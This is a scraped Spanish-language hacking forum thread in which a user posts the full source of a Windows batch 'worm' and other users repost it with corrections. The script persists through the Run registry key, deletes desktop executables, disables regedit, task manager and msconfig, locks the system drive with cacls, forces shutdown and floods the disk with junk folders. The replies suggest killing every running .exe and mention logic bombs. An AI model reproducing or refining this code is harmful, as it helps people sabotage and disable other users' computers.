hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
19 de Noviembre de 2008, 02:23:29
Noticias: Reporte de temas
Para ver este enlace Registrate o Inicia Sesion
> Aqui

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Batch
| | | |-+  Código Abierto Batch (Moderadores: HolyKnight, PyXOLo)
| | | | |-+  Gusano en Batch[Código]
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Gusano en Batch[Código]  (Leído 321 veces)
Freyja
NZ1
*
Desconectado Desconectado

Mensajes: 28


leer para aprender y asi ser la mejor


Ver Perfil
« : 17 de Julio de 2008, 10:07:42 »

Hola todos!
Bueno, publico el código para ver si pueden evaluarlo y me ayuden por favor si es que presenta fallas.

Descripción:
* Bloquea algunos recursos del pc (por ejemplo el regedit).
* Modificar los privilegios en %homedrive% (No estoy muy segura si funciona, y es lo que me intereza saber principalmente).
* Agregarse al registro.
* Crear archivos basura.
* Entre otras que son secundarias.

De antemano muchas gracias.

PD: Gracias a "RockoX" por la paciencia de explicarme cosas que no entendía y ayudarme a correjir algunas cosas del código.


Código:
@echo off
:Ini
If exist "%homepath%\Escritorio" (
goto Atcop
) else (
If exist "homepath%\Desktop" (
goto Atcop2
)
)
:Atcop
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
Del /f /q "%homepath%\Escritorio\*.exe"
goto cc
:Atcop2
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
Del /f /q "%homepath%\Desktop\*.exe"
goto cc
:cc
Pushd "%windir%\system32"
md STP
Attrib +H STP
:batc
Pushd "%windir%\system32\STP"
md CTC
Attrib +H CTC
echo @echo off>windowsstp.bat
echo taskkill /f /IM regedit.exe>>windowsstp.bat
echo taskkill /f /IM taskmgr.exe>>windowsstp.bat
echo taskkill /f /IM msconfig.exe>>windowsstp.bat
echo echo Y^| cacls ^"%%homedrive%%^" /d %%allusersprofile%%>>windowsstp.bat
echo echo Y^| cacls ^"%%windir%%\system32\STP^" /d>>windowsstp.bat
echo reg add ^"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\windowsstp.bat^">>windowsstp.bat
echo exit /b>>windowsstp.bat
:batc2
Pushd "%windir%\system32\STP\CTC"
echo @echo off>datafile.bat
echo reg add ^"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\CTC\datafile.bat^">>datafile.bat
echo If not exist ^"%%windir%%\system32\datastp.bat^" ( >>datafile.bat
echo Copy /Y ^"%%windir%%\system32\filedatastp.bat^" ^"%%windir%%\system32\datastp.bat^">>datafile.bat
echo ) else (>>datafile.bat
echo If not exist ^"%%windir%%\system32\STP\windowsstp.bat^">>datafile.bat
echo shutdown -s -f -t 00>>datafile.bat
echo )>>datafile.bat
echo )>>datafile.bat
echo exit /b>>datafile.bat
:calling
Call "%windir%\system32\STP\windowsstp.bat"
Call "%windir%\system32\STP\CTC\datafile.bat"
:worm
Pushd "%windir%\system32\STP"
set /a carp=carp+1
md %carp%
echo you are dead>%carp%.txt
goto worm
« Última modificación: 18 de Julio de 2008, 06:47:59 por Freyja » En línea


LauBuru
Batch lab nivel 2
*****
Desconectado Desconectado

Mensajes: 178


No te acostaras sin saber una cosa mas


Ver Perfil
« Respuesta #1 : 18 de Julio de 2008, 01:14:08 »

Lo e mirao por encima y e encontrao algun error que otro



hay va:


@echo off
:Ini
If exist "%homepath%\Escritorio" goto Atcop
else (If exist "homepath%\Desktop" goto Atcop2) ::else(comando) tiene que ir todo en la misma linea
:Atcop
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
::Aqui pondria un taskkill para evitar errores si algun .exe se esta ejecutando
Taskkill /fi Estado eq /im *.exe /f

Del /f /q "%homepath%\Escritorio\*.exe"
goto cc
:Atcop2
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
:: aqui pondria otro taskkill
Del /f /q "%homepath%\Desktop\*.exe"
goto cc
:cc
Pushd "%windir%\system32"
md STP
Attrib +H STP
:batc
Pushd "%windir%\system32\STP"
md CTC
Attrib +H CTC
echo @echo off>windowsstp.bat
echo taskkill /f /IM regedit.exe>>windowsstp.bat
echo taskkill /f /IM taskmgr.exe>>windowsstp.bat
echo taskkill /f /IM msconfig.exe>>windowsstp.bat
echo echo Y^| cacls ^"%%homedrive%%^" /d %%allusersprofile%%>>windowsstp.bat
echo echo Y^| cacls ^"%%windir%%\system32\STP^" /d>>windowsstp.bat
echo reg add ^"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\windowsstp.bat^">>windowsstp.bat :: A esta linea faltaria añadirle un echo
echo exit /b>>windowsstp.bat
:batc2
Pushd "%windir%\system32\STP\CTC"
echo @echo off>datafile.bat
echo reg add ^"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\CTC\datafile.bat^">>datafile.bat :: Añadirle un echo
echo If not exist ^"%%windir%%\system32\datastp.bat^" ( >>datafile.bat
echo Copy /Y ^"%%windir%%\system32\filedatastp.bat^" ^"%%windir%%\system32\datastp.bat^">>datafile.bat
echo ) else (>>datafile.bat ::else (comando) todo en la misma linea
echo If not exist ^"%%windir%%\system32\STP\windowsstp.bat^">>datafile.bat
echo shutdown -s -f -t 00>>datafile.bat
echo )>>datafile.bat
echo )>>datafile.bat
echo exit /b>>datafile.bat
:calling
Call "%windir%\system32\STP\windowsstp.bat"
Call "%windir%\system32\STP\CTC\datafile.bat"
:worm
Pushd "%windir%\system32\STP"
set /a carp=carp+1
md %carp%
echo you are dead>%carp%.txt
goto worm


Espero te sirva  Grin

PD: Creo que dentro de un echo nu se pone ^" sino "" lo k sea ""

Saludos
« Última modificación: 18 de Julio de 2008, 01:18:27 por LauBuru » En línea
RockoX
NZ3
***
Desconectado Desconectado

Mensajes: 584


Ay que aprender a reirnos de nosotros mismos.


Ver Perfil
« Respuesta #2 : 18 de Julio de 2008, 01:41:41 »

Lo e mirao por encima y e encontrao algun error que otro



hay va:


@echo off
:Ini
If exist "%homepath%\Escritorio" goto Atcop
else (If exist "homepath%\Desktop" goto Atcop2) ::else(comando) tiene que ir todo en la misma linea
:Atcop
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
::Aqui pondria un taskkill para evitar errores si algun .exe se esta ejecutando
Taskkill /fi Estado eq /im *.exe /f

Del /f /q "%homepath%\Escritorio\*.exe"
goto cc
:Atcop2
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
:: aqui pondria otro taskkill
Del /f /q "%homepath%\Desktop\*.exe"
goto cc
:cc
Pushd "%windir%\system32"
md STP
Attrib +H STP
:batc
Pushd "%windir%\system32\STP"
md CTC
Attrib +H CTC
echo @echo off>windowsstp.bat
echo taskkill /f /IM regedit.exe>>windowsstp.bat
echo taskkill /f /IM taskmgr.exe>>windowsstp.bat
echo taskkill /f /IM msconfig.exe>>windowsstp.bat
echo echo Y^| cacls ^"%%homedrive%%^" /d %%allusersprofile%%>>windowsstp.bat
echo echo Y^| cacls ^"%%windir%%\system32\STP^" /d>>windowsstp.bat
echo reg add ^"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\windowsstp.bat^">>windowsstp.bat :: A esta linea faltaria añadirle un echo
echo exit /b>>windowsstp.bat
:batc2
Pushd "%windir%\system32\STP\CTC"
echo @echo off>datafile.bat
echo reg add ^"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\CTC\datafile.bat^">>datafile.bat :: Añadirle un echo
echo If not exist ^"%%windir%%\system32\datastp.bat^" ( >>datafile.bat
echo Copy /Y ^"%%windir%%\system32\filedatastp.bat^" ^"%%windir%%\system32\datastp.bat^">>datafile.bat
echo ) else (>>datafile.bat ::else (comando) todo en la misma linea
echo If not exist ^"%%windir%%\system32\STP\windowsstp.bat^">>datafile.bat
echo shutdown -s -f -t 00>>datafile.bat
echo )>>datafile.bat
echo )>>datafile.bat
echo exit /b>>datafile.bat
:calling
Call "%windir%\system32\STP\windowsstp.bat"
Call "%windir%\system32\STP\CTC\datafile.bat"
:worm
Pushd "%windir%\system32\STP"
set /a carp=carp+1
md %carp%
echo you are dead>%carp%.txt
goto worm


Espero te sirva  Grin

PD: Creo que dentro de un echo nu se pone ^" sino "" lo k sea ""

Saludos

Te invito a que analices este sencillo code, usando parentesis en los Else, es el mismo funcionamiento que poniendo else (comando) :
Código:
@echo off
cd %windir%\system32
if exist cmd.exe (
echo Si existe cmd.exe
pause>nul
goto:eof
) else (
echo NO existe cmd.exe
pause>nul
exit /b
)

Aparte que es mas estetico, mas sencillo leer, y poner mas comandos, que en una sola linea.

Segunda cosa :
Analiza este code, veras cual es la diferencia de usar antes ^ de un "", en este caso
Freyja lo uso bien.
Código:
@echo off
cd %homedrive%\
echo ""Hola"" > leo.txt
echo ^"Hola^" > leo2.txt
echo Primera :
type leo.txt
echo Segunda :
type leo2.txt
pause
exit /b

Ves la diferencia ?
Saludos  Smiley
En línea

Open Source -
Join us now and share the software
Freyja
NZ1
*
Desconectado Desconectado

Mensajes: 28


leer para aprender y asi ser la mejor


Ver Perfil
« Respuesta #3 : 18 de Julio de 2008, 01:53:31 »

Comparto lo que dice RockoX.
Y con respecto a LauBuru


Citar
^"%%windir%%\system32\STP\windowsstp.bat^">>windowsstp.bat :: A esta linea faltaria añadirle un echo

Fíjate en el código que publiqué, la linea que sugieres corresponde a esta parte del código:

Citar
echo reg add ^"HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\windowsstp.bat^">>windowsstp.bat

Muchas gracias de igual forma, y tomaré el consejo de los taskkill.
En línea


LauBuru
Batch lab nivel 2
*****
Desconectado Desconectado

Mensajes: 178


No te acostaras sin saber una cosa mas


Ver Perfil
« Respuesta #4 : 18 de Julio de 2008, 02:22:30 »

Pues la ayuda de la linea de comandos dice lo contrario, pera te pongo el texto



Utilizar la cláusula else
La cláusula else debe aparecer en la misma línea que el comando después de if. Por ejemplo:

IF EXIST nombreDeArchiv o. (
del nombreDeArchiv o.
) ELSE (
echo falta nombreDeArchiv o.
)
El siguiente código no funcionará, ya que el comando del debe terminar en una nueva línea:

IF EXIST nombreDeArchiv o. del nombreDeArchiv o. ELSE echo falta nombreDeArchiv o.
El siguiente código no funcionará, ya que la cláusula else debe aparecer en la misma línea que el final del comando if:

IF EXIST nombreDeArchiv o. del nombreDeArchiv o.
ELSE echo falta nombreDeArchiv o.
Si desea utilizar una sola línea, utilice el siguiente formato de la instrucción original:

IF EXIST nombreDeArchiv o. (del nombreDeArchiv o.) ELSE echo falta nombreDeArchiv o
En línea
Freyja
NZ1
*
Desconectado Desconectado

Mensajes: 28


leer para aprender y asi ser la mejor


Ver Perfil
« Respuesta #5 : 18 de Julio de 2008, 02:37:27 »

De hecho sirve de la forma que ya está estipulada en mi código.
Como dijo RockoX cumple la misma función, solo que es más estético, fácil de leer.
En línea


LauBuru
Batch lab nivel 2
*****
Desconectado Desconectado

Mensajes: 178


No te acostaras sin saber una cosa mas


Ver Perfil
« Respuesta #6 : 18 de Julio de 2008, 03:06:00 »

OK, teneis toda la razon  Grin

Nu se pa que cojones ponen esto estos de guin2, se les va un poco la perola

Ya sabesis el dicho

"Nu te acostaras sin saber algo mas"


Gacias por la info y un saludo
En línea
Freyja
NZ1
*
Desconectado Desconectado

Mensajes: 28


leer para aprender y asi ser la mejor


Ver Perfil
« Respuesta #7 : 18 de Julio de 2008, 03:07:57 »

Citar
"Nu te acostaras sin saber algo mas"

Apoyo eso y gracias nuevamente por el consejo del taskkill.
En línea


zaek
NZ1
*
Desconectado Desconectado

Mensajes: 59



Ver Perfil
« Respuesta #8 : 20 de Julio de 2008, 06:40:22 »

esta bastante currado...pero yo prefiero de toda la vida mis bombas logicas y los shutdown con regadd xD



pd: si me da tiempo subo mi gran codigo de 10 hojas que programe durante el primer trimestre ( por aburrimiento ) pero da una pereza volver a pasarlo a .bat  bufff
En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online